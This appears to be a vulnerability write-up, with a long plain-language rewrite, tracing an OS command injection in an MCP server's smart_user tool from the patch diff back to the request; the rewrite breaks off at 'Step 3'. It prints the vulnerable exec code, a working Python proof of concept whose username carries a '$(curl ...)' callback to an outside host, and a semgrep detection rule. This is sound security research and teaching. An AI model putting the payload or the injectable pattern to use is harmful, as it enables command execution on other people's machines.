Patch Diffing CVE-2026–55157 — Token Optimizer MCP: OS command injection
Published on medium.com
Information Security
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Token Optimizer MCP is an open-source project that exposes tools to a Model Context Protocol (MCP) client. One of those tools, smart_user, is meant to return information about local users and groups: it looks up passwd entries, group entries and, on Windows, ACLs for a path. In other words, it is a read-only information tool, not a command runner.
CVE-2026-55157 is an OS command injection in that tool. The advisory says it was patched in version 5.1.0, and the previous release, 5.0.1, is the vulnerable one. The write-up below follows the patch backwards: first diffing 5.0.1 against 5.1.0 to find the sink, then tainting backwards from the sink to the request parameter, then reproducing the bug against 5.0.1 and confirming the fix on master, and finally looking for the same pattern elsewhere in the code base.
Setup
The only tooling needed is git for the diff (the author used magit, a git porcelain inside emacs), a local checkout of the repository, Node.js to build and run the server, and a Python interpreter for the proof-of-concept client. A Burp Collaborator domain is used as an out-of-band listener.
The server is built and started from the project root with the scripts declared in package.json:
"build": "tsc", "start": "node dist/server/index.js",
npm install
npm run build
npm run start
The server does not listen on a port. It is created from the MCP TypeScript SDK and connected to a StdioServerTransport, so it reads JSON-RPC messages from stdin and writes responses to stdout:
import { Server } from '@modelcontextprotocol/sdk/server/index.js';
async function main() { const transport = new StdioServerTransport(); await server.connect(transport);
That detail matters for the reproduction: any client that can write JSON-RPC lines to the process's stdin can call the tools.
Finding it
The diff between 5.0.1 and 5.1.0 is large:
123 files changed, 10331 insertions(+), 3347 deletions(-)
The advisory names the smart_user tool, so searching the diff for that string leads to the new schema definition:
// 44. smart_user-export const SmartUserSchema = GenericToolOptionsSchema;+// username / groupname / path reach external lookup commands; validate them.+export const SmartUserSchema = z+ .object({+ username: safePathArg.optional(),+ groupname: safePathArg.optional(),+ path: safePathArg.optional(),+ })+ .passthrough()+ .describe('Options for smart_user tool');
The comment states that username, groupname and path reach external lookup commands, which makes them candidate sources. safePathArg is defined further up the same file:
+const safePathArg = z+ .string()+ .min(1)+ .max(4096)+ .refine((v) => !/[\0\n\r]/.test(v), {+ message: 'must not contain control characters',+ })+ .refine((v) => !v.startsWith('-'), { message: "must not start with '-'" });
It rejects the null byte, newline and carriage return, and refuses values starting with -. That is a short deny-list, and the author notes it is easy to think of ways around it.
The more interesting change is in smart-user.ts, where exec and promisify are replaced by readFileSync and helpers from a new safe-exec.js module:
-import { exec } from 'child_process';-import { promisify } from 'util';+import { readFileSync } from 'fs'; import * as crypto from 'crypto';+import { execFileSafe, assertSafeArg } from '../../utils/safe-exec.js';-const execAsync = promisify(exec);+/**+ * SECURITY (CWE-78): every external command in this tool now runs in argv mode+ * via {@link execFileSafe} (no shell), and all caller-controlled values+ * (username, group name, path) are validated with {@link assertSafeArg} before+ * use. The previous implementation interpolated these values into shell command+ * strings (e.g. `getent passwd "${username}" || grep "^${username}:" ...`),+ * which let `$(...)`/backtick payloads execute as the server user.+ */...- const { stdout: passwdOut } = await execAsync(- `getent passwd "${username}" || grep "^${username}:" /etc/passwd`- );+ const passwdOut = await this.lookupPasswdEntry(username);...- const { stdout } = await execAsync(- `getent group "${groupname}" || grep "^${groupname}:" /etc/group`- );+ const stdout = await this.lookupGroupEntry(groupname);...- const { stdout } = await execAsync(`icacls "${path}"`);+ assertSafeArg(path, 'path');+ const { stdout } = await
The removed lines are the vulnerability: caller-controlled values interpolated into a shell command string passed to exec. The replacement, lookupPasswdEntry, is a good illustration of the new shape:
+ /**+ * Look up a single passwd entry by username. Tries `getent passwd <user>`+ * (argv mode) and falls back to scanning /etc/passwd in-process. Replaces the+ * injectable `getent passwd "${username}" || grep "^${username}:" ...`.+ */+ private async lookupPasswdEntry(username: string): Promise<string> {+ assertSafeArg(username, 'username');+ try {+ const { stdout } = await execFileSafe('getent', ['passwd', username]);+ if (stdout.trim()) return stdout.trim();+ } catch {+ // fall through to file scan+ }+ const contents = readFileSync('/etc/passwd', 'utf-8');+ const match = contents+ .split('\n')+ .find((line) => line.startsWith(`${username}:`));+ if (!match) {+ throw new Error(`User not found: ${username}`);+ }+ return match;+ }
It runs getent passwd <username> in argv mode and, if that fails, scans /etc/passwd in-process instead of shelling out to grep. The new execFileSafe helper is a thin wrapper around execFile:
+/**+ * Safe command execution helpers (argv-mode, no shell).+ *+ * SECURITY: These helpers exist to eliminate the OS command-injection class+ * (CWE-78) that affected the smart_* git/system/build tools. The vulnerable+ * pattern was building a single command string with caller-controlled values+ * interpolated into it, then running it through `execSync`/`execAsync` or+ * `spawn(..., { shell: true })`. A shell then interpreted metacharacters such+ * as `;`, `|`, `$(...)`, and backticks, allowing arbitrary command execution.+ *+ * The fix is to ALWAYS pass the binary plus an argument ARRAY to+ * `execFile`/`spawn` with `shell: false`. In argv mode the OS executes the+ * binary directly and each array element is delivered to the process verbatim+ * as a single argument — no shell, so shell-metacharacter interpretation is+ * impossible regardless of input.+ *+ * Never reintroduce string-concatenated commands, `shell: true`, or+ * `execSync(`...${userInput}...`)` in tool code. Route everything through the+ * helpers below.+ */+import { execFile, execFileSync, spawn } from 'child_process';+import { promisify } from 'util';++const execFileAsyncImpl = promisify(execFile);...+/**+ * Run a command asynchronously in argv mode.+ *+ * @returns Resolves with `{ stdout, stderr }`.+ */+export async function execFileSafe(+ file: string,+ args: readonly string[] = [],+ options: SafeExecOptions = {}+): Promise<{ stdout: string; stderr: string }> {+ try {+ const { stdout, stderr } = await execFileAsyncImpl(file, [...args], {+ cwd: options.cwd,+ encoding: options.encoding ?? 'utf-8',+ timeout: options.timeout,+ maxBuffer: options.maxBuffer ?? DEFAULT_MAX_BUFFER,+ env: options.env,+ windowsHide: true,+ shell: false,+ });+ // With `encoding` set, execFile yields strings.+ return { stdout: stdout as string, stderr: stderr as string };+ } catch (error) {+ if (+ options.ignoreExitCode &&+ error &&+ typeof error === 'object' &&+ 'stdout' in error+ ) {+ const e = error as { stdout?: string | Buffer; stderr?: string | Buffer };+ return {+ stdout: e.stdout ? e.stdout.toString() : '',+ stderr: e.stderr ? e.stderr.toString() : '',+ };+ }+ throw error;+ }
The explicit shell: false is the key line: with no shell, metacharacters such as $(...) are delivered to the binary as ordinary argument text.
At this point the sink and the fix are clear, but the source is not. The diff alone does not show how a request reaches the vulnerable exec call.
Exploitation
Step 1: pick a sink in the vulnerable version
Checking out 5.0.1, the author starts from the sink at line 918 of smart-user.ts:
const { stdout: passwdOut } = await execAsync( `getent passwd "${username}" || grep "^${username}:" /etc/passwd`);
username is interpolated inside double quotes, so a $(...) substitution inside the value is evaluated by the shell before getent ever runs.
Step 2: walk backwards to the request
The sink lives in getUserDetails, called on line 403:
const user = await this.getUserDetails(options.username);
options is traced back to a getUserInfo helper, which is dispatched from a switch inside a run function:
...case 'get-acl': result = await this.getACL(options); break;case 'get-user-info': result = await this.getUserInfo(options); break;case 'get-group-info': result = await this.getGroupInfo(options); break;...
run is invoked for the smart_user tool in src/server/index.ts:
case 'smart_user': { const options = args as any; const result = await smartUser.run(options); return { content: [ { type: 'text', text: JSON.stringify(result, null, 2), }, ], }; }
options is the args object, which comes from the JSON-RPC request:
const server = new Server( { name: 'token-optimizer-mcp', version: '0.2.0', }, { capabilities: { tools: {}, }, });...server.setRequestHandler(CallToolRequestSchema, async (request) => { const { name, arguments: args } = request.params;
So the source is a tool-call argument in an MCP request, and the path from there to the shell is unbroken.
Step 3: drive the server over stdin
Because the transport is stdio, a small Python script is enough: it spawns the server, sends an initialize request, then a tools/call for smart_user with operation set to get-user-info and a username containing a command substitution that calls back to a Burp Collaborator domain.
import subprocessimport sysSERVER = ["node", "token-optimizer-mcp/dist/server/index.js"] def send(process, message): data = json.dumps(message) + "\n" process.stdin.write(data.encode()) process.stdin.flush()def receive(process): line = process.stdout.readline() if not line: raise RuntimeError("MCP server closed stdout") return json.loads(line)def main(): print("Starting MCP server...") process = subprocess.Popen( SERVER, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=sys.stderr, ) try: send(process, { "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2025-06-18", "capabilities": {},
"clientInfo": { "name": "python-poc", "version": "0.1.0", }, }, }) response = receive(process) send(process, { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "smart_user", "arguments": { "operation": "get-user-info", "username": "$(curl http://[redacted].oastify.com)" } }, }) response = receive(process) text = response["result"]["content"][0]["text"] data = json.loads(text) print(json.dumps(data, indent=2)) finally: process.terminate() process.wait()if __name__ == "__main__": main()
The username value is the payload: the shell running getent passwd "..." evaluates $(curl ...) and makes the outbound request. The author sent the payload to a Burp Collaborator domain in case the output was not transparent and a pingback arrived, showing that an OS command had been slipped into a tool that is only supposed to return user information.
Step 4: confirm the patch
Running the same tool call against master with a simple whoami payload returns:
"data": { "error": "Failed to get Unix user details: User not found: $(whoami)" },
The $() characters are no longer interpreted; they are treated as ordinary characters in the username, and the lookup simply fails.
Root cause
The vulnerable code built a shell command string by interpolating caller-controlled values into it and passed the result to exec, which runs through a shell. Any value containing $(...), backticks, ; or | was therefore executed as shell syntax with the privileges of the server process. The same pattern existed for groupname (getent group "${groupname}" || grep "^${groupname}:" /etc/group) and for path (icacls "${path}").
The fix works because execFile with shell: false executes the binary directly and passes each array element as a single argument, so shell metacharacters are never parsed. The two validation layers added alongside it, the Zod safePathArg schema and the assertSafeArg function, are defence in depth rather than the real fix. Both only reject the null byte, newline, carriage return and a leading -, and the author notes that a deny-list of three control characters is easy to bypass, for example with a Unicode line separator character. The author also calls the two checks largely redundant with each other, and suggests that using Zod alone would have been cleaner.
Impact
An attacker who can call the smart_user tool can execute arbitrary OS commands as the user running the MCP server. The source is a tool-call argument in an MCP request, so anyone able to send JSON-RPC messages to the server's stdin can reach the vulnerable command. The tool's intended purpose is only to read user information, so command execution is an unintended side effect and a valid vulnerability.
Fix
The patch in 5.1.0 made three improvements:
- Safe wrapper utilities:
execFileSafeand related helpers run commands in argv mode withshell: false, and the tool no longer builds command strings. - Input validation with Zod:
SmartUserSchemavalidatesusername,groupnameandpathwithsafePathArg. - Input validation with assertions:
assertSafeArgis called before each external command.
The essential change is the first one. The author's assessment is that the validation layers are inadequate on their own and that execFileSafe is what actually resolves the issue.
Variants to test
After confirming the fix, the author looked for the same unsafe pattern elsewhere in the code base, using a custom semgrep rule:
rules: - id: cwe-78-nodejs languages: - javascript - typescript message: "child_process function called unsafely" severity: ERROR patterns: - pattern-either: - pattern: '$CPFUNC(..., { ..., shell: true, ... })' - pattern: $CPFUNC(..., ...) - pattern-not: $CPFUNC("...", ...) - pattern-not: $CPFUNC(process.execPath, ...) - metavariable-regex: metavariable: $CPFUNC regex: "(spawn|exec).*"
semgrep -c CWE-78-semgrep.yaml ./token-optimizer-mcp/src
The author wanted to test the code base for three unsafe patterns: calls to exec, calls to execFile/spawn/execFileSync with shell: true, and calls where user input reaches the first argument (the command itself). The author describes the rule as imperfect but sufficient for the job.
Results came back in src/tools/configuration/smart-package-json.ts, where execFileSafeSync is called with pmCmd as the binary and arguments such as ['list', '--json', '--depth=${depth}'], ['audit', '--json'] and ['outdated', '--json']. Tracing pmCmd showed it is an enum limited to npm, yarn or pnpm, so it cannot be set arbitrarily and the finding did not lead anywhere.
The second result was in src/tools/system-operations/smart-process.ts:
Here options.command is the binary and options.args the argument array, with shell: false. Sending this tool call does execute an arbitrary command:
send(process, { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "smart_process", "arguments": { "operation": "start", "command": "touch", "args": ["/tmp/hacked"] }
},})
But the author judges this to have no real impact: smart_process exists precisely to let the agent create processes, so the behaviour is intended. The contrast with smart_user is the point: there, command execution was an unintended side effect of an information tool.
- Diff the patched release against the previous one and search the diff for the tool or feature named in the advisory. A positive result is a removed
exec/execSynccall with interpolated values, or a newshell: falseoption appearing where none was before. - Taint backwards from each sink to the request handler. A positive result is an unbroken path from a JSON-RPC argument to the command string, as with
usernamehere. - Run a semgrep rule over the source for
exec,shell: trueand user input in the command position. A positive result is a hit where the first argument is caller-controlled, not a fixed enum orprocess.execPath. - For each hit, ask whether the tool is supposed to run commands. A hit in a tool whose purpose is process creation is intended behaviour; a hit in a read-only information tool is a vulnerability.
- When reviewing a fix, check whether the validation is a deny-list. A positive result is a filter that only blocks a handful of characters, which can usually be bypassed with other separators.
What happened, in plain words
A small open-source program called Token Optimizer MCP offers a set of tools to an AI assistant. One of those tools, smart_user, is supposed to do one simple, harmless thing: look up information about the user accounts and groups that exist on the computer it runs on. Think of it as a receptionist whose only job is to read names out of an address book and tell you what is written there.
A security researcher found that this receptionist could be tricked into doing something completely different: running any command the attacker wanted on the computer, with the same permissions as the program itself. That kind of bug is called an OS command injection. It was given the tracking number CVE-2026-55157, and it was fixed in version 5.1.0 of the project. The version before it, 5.0.1, is the one that is broken.
The researcher did not have inside information. They took the public fix, compared the old version with the new one, worked out what had been changed and why, then rebuilt the attack from scratch to prove it worked. This article walks through that same journey slowly, explaining every idea as it comes up.
The words you need first
Before the steps make sense, a few everyday ideas need names.
A command is an instruction you type to a computer to make it do something, for example whoami (which prints the name of the user you are logged in as) or ls (which lists files). On Linux and macOS these commands are typed into a program called a shell, which reads what you typed, understands special symbols in it, and then starts the right program.
A shell is therefore not the command itself. It is the middleman that reads a line of text and decides what to run. That distinction is the heart of this whole story: if a middleman reads text that an outsider controls, the outsider can write instructions for the middleman, not just for the program.
An API is a way for two programs to talk to each other, like a waiter taking your order to the kitchen. You do not walk into the kitchen yourself; you tell the waiter what you want in a fixed format, and the waiter brings back the result.
MCP, the Model Context Protocol, is a standard way for an AI assistant (the client) to talk to a separate program (the server) that offers it tools. The client says "please run tool X with these inputs", and the server does it and sends back an answer. Token Optimizer MCP is such a server, and smart_user is one of the tools it offers.
JSON-RPC is the message format those two programs use. Each message is a small piece of text in JSON (a way of writing structured data with curly brackets and quotes) that says which method to call and with which parameters. It is like a form with boxes: one box for the request number, one for the action, one for the inputs.
stdin and stdout are the two standard channels every program has: stdin is where input arrives, stdout is where output goes. Normally they are connected to your keyboard and your screen, but a program can also connect them to another program. This server does exactly that, which is why it never opens a network port.
A vulnerability is a flaw that lets someone make a program do something its author did not intend. A patch is the change that fixes it. A CVE is a public catalogue number given to a known vulnerability so people can refer to it unambiguously.
A diff is the comparison between two versions of the same files, showing lines that were removed (marked with a minus) and lines that were added (marked with a plus). Reading a diff is how you see what a patch actually did.
A sink is the dangerous place in the code where something bad finally happens, here the point where a command is executed. A source is where the attacker's data enters the program, here a value in a request. Taint tracking means following the data from the source to the sink to check that nothing cleans it up on the way.
A payload is the actual malicious text an attacker sends. Out-of-band means the attacker confirms success through a different channel than the normal response, for example by making the victim's computer contact a server the attacker controls.
What the tool was supposed to do
Token Optimizer MCP is an open-source project that exposes tools to a Model Context Protocol client. One of those tools, smart_user, is meant to return information about local users and groups: it looks up passwd entries, group entries and, on Windows, ACLs for a path. In other words, it is a read-only information tool, not a command runner.
Two of those words deserve a pause. passwd is the file on Linux and macOS that lists the user accounts on the machine, one per line, with fields separated by colons. ACL stands for access control list: the list of who is allowed to do what with a file or folder. Both are pure reference material, the kind of thing you read, never the kind of thing that runs.
CVE-2026-55157 is an OS command injection in that tool. The advisory says it was patched in version 5.1.0, and the previous release, 5.0.1, is the vulnerable one. The write-up below follows the patch backwards: first diffing 5.0.1 against 5.1.0 to find the sink, then tainting backwards from the sink to the request parameter, then reproducing the bug against 5.0.1 and confirming the fix on master, and finally looking for the same pattern elsewhere in the code base.
master here is simply the main line of development, the current state of the project's code rather than a numbered release.
Setting up the workbench
The only tooling needed is git for the diff (the author used magit, a git porcelain inside emacs), a local checkout of the repository, Node.js to build and run the server, and a Python interpreter for the proof-of-concept client. A Burp Collaborator domain is used as an out-of-band listener.
A few of those need explaining. git is the program that keeps the history of a code project, so you can ask it to show what changed between any two versions. A checkout is your own copy of the project's files on your computer. Node.js is the program that runs JavaScript code outside a browser, and this project is written in TypeScript, a stricter dialect of JavaScript that has to be translated (built) into plain JavaScript before it can run. Python is another programming language, used here only to write a small client. Burp Collaborator is a service that gives you a unique domain name and tells you if anything ever contacts it; it is the classic way to prove that a machine you cannot see made an outgoing connection.
The server is built and started from the project root with the scripts declared in package.json:
"build": "tsc", "start": "node dist/server/index.js",
package.json is the file every Node.js project has, listing its name, its dependencies and short named commands. This snippet defines two of those named commands. "build": "tsc" means: when someone asks for the build step, run tsc, the TypeScript compiler, which translates the source into runnable JavaScript. "start": "node dist/server/index.js" means: when someone asks to start the program, run Node.js on the file dist/server/index.js, which is the compiled output sitting in the dist folder.
npm install
npm run build
npm run start
Line by line: npm install downloads every library the project depends on (npm is Node's package manager, the equivalent of an app store for code libraries). npm run build runs the build command defined above, producing the dist folder. npm run start runs the start command, launching the server. The reason for doing it in this order is simple: the code cannot run until its dependencies exist and it has been translated.
The server does not listen on a port. It is created from the MCP TypeScript SDK and connected to a StdioServerTransport, so it reads JSON-RPC messages from stdin and writes responses to stdout:
import { Server } from '@modelcontextprotocol/sdk/server/index.js';
This line pulls the Server class out of the official MCP library. A library is a bundle of code someone else wrote that you reuse instead of writing it yourself; an SDK (software development kit) is a library made specifically for building against a particular service or protocol. The import statement says: from the file at that path inside the installed package, take the thing called Server and make it available here.
async function main() { const transport = new StdioServerTransport(); await server.connect(transport);
async function main() declares a function called main that can pause while waiting for slow work (that is what async and await mean). Inside it, new StdioServerTransport() creates a transport object, and a transport is just the pipe the messages travel through. This particular one uses stdin and stdout. await server.connect(transport) attaches the server to that pipe and starts listening. The consequence is important: the server has no network address at all, so the only way to talk to it is to be the program that started it and to write into its input.
That detail matters for the reproduction: any client that can write JSON-RPC lines to the process's stdin can call the tools.
Finding it
The diff between 5.0.1 and 5.1.0 is large:
123 files changed, 10331 insertions(+), 3347 deletions(-)
This is git's summary line: 123 files were touched, 10,331 lines were added and 3,347 were removed. Reading all of that by hand would take days, which is why the next step is to narrow the search using a clue.
The advisory names the smart_user tool, so searching the diff for that string leads to the new schema definition:
// 44. smart_user-export const SmartUserSchema = GenericToolOptionsSchema;+// username / groupname / path reach external lookup commands; validate them.+export const SmartUserSchema = z+ .object({+ username: safePathArg.optional(),+ groupname: safePathArg.optional(),+ path: safePathArg.optional(),+ })+ .passthrough()+ .describe('Options for smart_user tool');
A schema is a description of what valid input looks like, like the rules printed on a form (this box must be filled in, this one must be a number). Here the schema is written with Zod, a small library for describing and checking data shapes in TypeScript.
Line by line: the first line, with a minus, is the old definition, which simply reused a generic schema and checked nothing specific. The comment on the next line, added by the patch, says that username, groupname and path reach external lookup commands and must be validated. export const SmartUserSchema = z starts a new schema built with Zod. .object({ ... }) says the input is an object with the listed fields. username: safePathArg.optional() says the username field, if present, must satisfy the safePathArg rule; .optional() means it may also be left out. The same applies to groupname and path. .passthrough() means unknown extra fields are allowed through rather than rejected. .describe(...) attaches a human-readable description.
The reason this matters: the comment tells the reader that these three fields are the ones that end up in commands, so they are the candidate sources to follow.
safePathArg is defined further up the same file:
+const safePathArg = z+ .string()+ .min(1)+ .max(4096)+ .refine((v) => !/[\0\n\r]/.test(v), {+ message: 'must not contain control characters',+ })+ .refine((v) => !v.startsWith('-'), { message: "must not start with '-'" });
Line by line: const safePathArg = z begins a rule. .string() requires the value to be text. .min(1) requires at least one character, so an empty value is refused. .max(4096) caps the length at 4,096 characters. .refine((v) => ...) adds a custom check, where v is the value being tested. The first check, !/[\0\n\r]/.test(v), refuses the value if it contains a null byte (\0), a newline (\n) or a carriage return (\r); the leading ! means "must not match". The second check, !v.startsWith('-'), refuses values that begin with a hyphen. Each check carries a message explaining the refusal.
It rejects the null byte, newline and carriage return, and refuses values starting with -. That is a short deny-list, and the author notes it is easy to think of ways around it. A deny-list is a filter that names the bad things it blocks; anything not on the list gets through, which is why deny-lists tend to age badly.
The more interesting change is in smart-user.ts, where exec and promisify are replaced by readFileSync and helpers from a new safe-exec.js module:
-import { exec } from 'child_process';-import { promisify } from 'util';+import { readFileSync } from 'fs'; import * as crypto from 'crypto';+import { execFileSafe, assertSafeArg } from '../../utils/safe-exec.js';-const execAsync = promisify(exec);+/**+ * SECURITY (CWE-78): every external command in this tool now runs in argv mode+ * via {@link execFileSafe} (no shell), and all caller-controlled values+ * (username, group name, path) are validated with {@link assertSafeArg} before+ * use. The previous implementation interpolated these values into shell command+ * strings (e.g. `getent passwd "${username}" || grep "^${username}:" ...`),+ * which let `$(...)`/backtick payloads execute as the server user.+ */...- const { stdout: passwdOut } = await execAsync(- `getent passwd "${username}" || grep "^${username}:" /etc/passwd`- );+ const passwdOut = await this.lookupPasswdEntry(username);...- const { stdout } = await execAsync(- `getent group "${groupname}" || grep "^${groupname}:" /etc/group`- );+ const stdout = await this.lookupGroupEntry(groupname);...- const { stdout } = await execAsync(`icacls "${path}"`);+ assertSafeArg(path, 'path');+ const { stdout } = await
This block is the most important one in the article, so take it slowly. Lines starting with a minus are what the old, vulnerable version did; lines starting with a plus are what the fixed version does instead.
First, the imports. child_process is a built-in Node.js module for starting other programs; exec is its simplest function, and it hands your text to a shell. promisify is a utility that turns an old-style callback function into one you can await. The patch removes both. It adds readFileSync from the fs (file system) module, which reads a file's contents directly, and it adds two helpers, execFileSafe and assertSafeArg, from a new file safe-exec.js. The line const execAsync = promisify(exec) disappears because nothing will call exec any more.
The comment block explains the reasoning in the author's own words: the tool now runs every external command in argv mode with no shell, and every caller-controlled value is validated before use. The old implementation put those values inside shell command strings, which let $(...) or backtick payloads run as the user the server runs as. argv mode means passing a program name plus a list of separate arguments, rather than one long line of text for a shell to interpret; argv is the traditional name for that list of arguments. CWE-78 is the standard catalogue entry for OS command injection, the same class of bug as this CVE.
Then the three removed calls. execAsync(\getent passwd "${username}" || grep "^${username}:" /etc/passwd`)builds a text line in which the user'susernameis pasted inside double quotes, and hands it to a shell.getent passwdasks the system for one user's entry;||means "if that fails, do the next thing";grepsearches a file for a pattern. The replacements callthis.lookupPasswdEntry(username)andthis.lookupGroupEntry(groupname), ordinary functions that do the same job safely. The Windows line execAsync(`icacls "${path}"`)becomes a call toassertSafeArg(path, 'path')` followed by a safe execution.
The removed lines are the vulnerability: caller-controlled values interpolated into a shell command string passed to exec. Interpolated simply means pasted into a larger piece of text. The replacement, lookupPasswdEntry, is a good illustration of the new shape:
+ /**+ * Look up a single passwd entry by username. Tries `getent passwd <user>`+ * (argv mode) and falls back to scanning /etc/passwd in-process. Replaces the+ * injectable `getent passwd "${username}" || grep "^${username}:" ...`.+ */+ private async lookupPasswdEntry(username: string): Promise<string> {+ assertSafeArg(username, 'username');+ try {+ const { stdout } = await execFileSafe('getent', ['passwd', username]);+ if (stdout.trim()) return stdout.trim();+ } catch {+ // fall through to file scan+ }+ const contents = readFileSync('/etc/passwd', 'utf-8');+ const match = contents+ .split('\n')+ .find((line) => line.startsWith(`${username}:`));+ if (!match) {+ throw new Error(`User not found: ${username}`);+ }+ return match;+ }
Line by line: the comment says the function looks up one passwd entry, tries getent passwd <user> in argv mode, and falls back to reading /etc/passwd itself. private async lookupPasswdEntry(username: string): Promise<string> declares a function that takes a username and eventually returns text. assertSafeArg(username, 'username') runs the validation check first and throws an error if the value is unacceptable. Inside try, await execFileSafe('getent', ['passwd', username]) runs the getent program with two separate arguments, passwd and the username, with no shell in between. If the output is not empty, stdout.trim() returns it. If the call fails, the empty catch block lets execution continue to the fallback. readFileSync('/etc/passwd', 'utf-8') reads the whole file into memory as text. .split('\n') breaks it into lines, .find(...) picks the first line that starts with the username followed by a colon, and if none is found an error is thrown. Otherwise the matching line is returned.
It runs getent passwd <username> in argv mode and, if that fails, scans /etc/passwd in-process instead of shelling out to grep. The new execFileSafe helper is a thin wrapper around execFile:
+/**+ * Safe command execution helpers (argv-mode, no shell).+ *+ * SECURITY: These helpers exist to eliminate the OS command-injection class+ * (CWE-78) that affected the smart_* git/system/build tools. The vulnerable+ * pattern was building a single command string with caller-controlled values+ * interpolated into it, then running it through `execSync`/`execAsync` or+ * `spawn(..., { shell: true })`. A shell then interpreted metacharacters such+ * as `;`, `|`, `$(...)`, and backticks, allowing arbitrary command execution.+ *+ * The fix is to ALWAYS pass the binary plus an argument ARRAY to+ * `execFile`/`spawn` with `shell: false`. In argv mode the OS executes the+ * binary directly and each array element is delivered to the process verbatim+ * as a single argument — no shell, so shell-metacharacter interpretation is+ * impossible regardless of input.+ *+ * Never reintroduce string-concatenated commands, `shell: true`, or+ * `execSync(`...${userInput}...`)` in tool code. Route everything through the+ * helpers below.+ */+import { execFile, execFileSync, spawn } from 'child_process';+import { promisify } from 'util';++const execFileAsyncImpl = promisify(execFile);...+/**+ * Run a command asynchronously in argv mode.+ *+ * @returns Resolves with `{ stdout, stderr }`.+ */+export async function execFileSafe(+ file: string,+ args: readonly string[] = [],+ options: SafeExecOptions = {}+): Promise<{ stdout: string; stderr: string }> {+ try {+ const { stdout, stderr } = await execFileAsyncImpl(file, [...args], {+ cwd: options.cwd,+ encoding: options.encoding ?? 'utf-8',+ timeout: options.timeout,+ maxBuffer: options.maxBuffer ?? DEFAULT_MAX_BUFFER,+ env: options.env,+ windowsHide: true,+ shell: false,+ });+ // With `encoding` set, execFile yields strings.+ return { stdout: stdout as string, stderr: stderr as string };+ } catch (error) {+ if (+ options.ignoreExitCode &&+ error &&+ typeof error === 'object' &&+ 'stdout' in error+ ) {+ const e = error as { stdout?: string | Buffer; stderr?: string | Buffer };+ return {+ stdout: e.stdout ? e.stdout.toString() : '',+ stderr: e.stderr ? e.stderr.toString() : '',+ };+ }+ throw error;+ }
The comment is worth reading as a lesson in itself. It says these helpers exist to eliminate the OS command injection class that affected the smart_* tools. The vulnerable pattern was building one command string with caller-controlled values pasted in, then running it through execSync, execAsync or spawn with shell: true. A shell then interpreted metacharacters, which are symbols with special meaning to a shell: ; separates two commands, | pipes one command's output into another, $(...) runs the command inside and substitutes its output, and backticks do the same as $(...). The comment then states the rule: always pass the program plus an array of arguments to execFile or spawn with shell: false, because then the operating system starts the program directly and each array element arrives as one argument, verbatim. It ends with a warning never to reintroduce string-concatenated commands.
In the code: import { execFile, execFileSync, spawn } from 'child_process' brings in the safe primitives. const execFileAsyncImpl = promisify(execFile) makes execFile awaitable. export async function execFileSafe(file, args = [], options = {}) declares the wrapper, taking the program name, an argument array defaulting to empty, and an options object. Inside, await execFileAsyncImpl(file, [...args], { ... }) runs the program with a copy of the argument array. The options are: cwd (the working directory to run in), encoding (how to decode the output, defaulting to UTF-8), timeout (how long to wait before giving up), maxBuffer (how much output to hold in memory), env (environment variables, the named settings a program inherits), windowsHide (do not flash a console window on Windows), and shell: false. The comment notes that with an encoding set, the output comes back as text, so it is returned as { stdout, stderr }. The catch block handles the case where the caller asked to ignore a non-zero exit code: it pulls whatever output the failed program produced and returns it instead of throwing. Otherwise it re-throws the error.
The explicit shell: false is the key line: with no shell, metacharacters such as $(...) are delivered to the binary as ordinary argument text.
At this point the sink and the fix are clear, but the source is not. The diff alone does not show how a request reaches the vulnerable exec call.
Exploitation
Step 1: pick a sink in the vulnerable version
Checking out 5.0.1, the author starts from the sink at line 918 of smart-user.ts:
const { stdout: passwdOut } = await execAsync( `getent passwd "${username}" || grep "^${username}:" /etc/passwd`);
Line by line: await execAsync(...) runs a command and waits for it to finish. The argument is a template string, a piece of text with ${...} holes where values get pasted in. Here the hole is ${username}, and it sits inside double quotes. The text says: run getent passwd with the username, and if that fails, search /etc/passwd for a line starting with the username. const { stdout: passwdOut } takes the stdout field out of the result and renames it passwdOut for later use.
username is interpolated inside double quotes, so a $(...) substitution inside the value is evaluated by the shell before getent ever runs. The quotes do not help, because the shell evaluates $(...) even inside double quotes. This is the everyday comparison worth remembering: it is like a form where you write your name, and the clerk reads your name out loud and follows any instruction written in it.
Step 2: walk backwards to the request
The sink lives in getUserDetails, called on line 403:
const user = await this.getUserDetails(options.username);
This line calls the function that contains the dangerous command, passing it options.username. The question now is: where did options come from? Working backwards like this is the taint tracking mentioned earlier.
options is traced back to a getUserInfo helper, which is dispatched from a switch inside a run function:
...case 'get-acl': result = await this.getACL(options); break;case 'get-user-info': result = await this.getUserInfo(options); break;case 'get-group-info': result = await this.getGroupInfo(options); break;...
A switch is a way of choosing between several options based on a value, like a railway junction: the value decides which track the program takes. Here the value is the requested operation. If it is get-acl, the program calls getACL; if it is get-user-info, it calls getUserInfo; if it is get-group-info, it calls getGroupInfo. Each break stops the program from falling through to the next case. The important detail is that the same options object, containing the attacker's username, is handed to whichever function is chosen.
run is invoked for the smart_user tool in src/server/index.ts:
case 'smart_user': { const options = args as any; const result = await smartUser.run(options); return { content: [ { type: 'text', text: JSON.stringify(result, null, 2), }, ], }; }
Line by line: when the requested tool name is smart_user, the code takes args (the arguments supplied by the caller) and stores it as options. as any is a TypeScript annotation meaning "treat this as any type, do not check it", which is itself a small warning sign. It then calls smartUser.run(options) and waits for the result. The return builds the reply: a content list containing one item of type: 'text', whose text is the result converted to a JSON string with two-space indentation by JSON.stringify(result, null, 2).
options is the args object, which comes from the JSON-RPC request:
const server = new Server( { name: 'token-optimizer-mcp', version: '0.2.0', }, { capabilities: { tools: {}, }, });...server.setRequestHandler(CallToolRequestSchema, async (request) => { const { name, arguments: args } = request.params;
Line by line: new Server({ name: 'token-optimizer-mcp', version: '0.2.0' }, { capabilities: { tools: {} } }) creates the server, giving it a name and version and declaring that it offers tools. server.setRequestHandler(CallToolRequestSchema, async (request) => { ... }) registers the function that runs whenever a tool-call message arrives; CallToolRequestSchema is the name of that message type. Inside, const { name, arguments: args } = request.params unpacks the incoming message: name is which tool to run, and arguments is renamed to args. This is the exact point where outside data enters the program.
So the source is a tool-call argument in an MCP request, and the path from there to the shell is unbroken. Nothing between the request and the command checks or cleans the username.
Step 3: drive the server over stdin
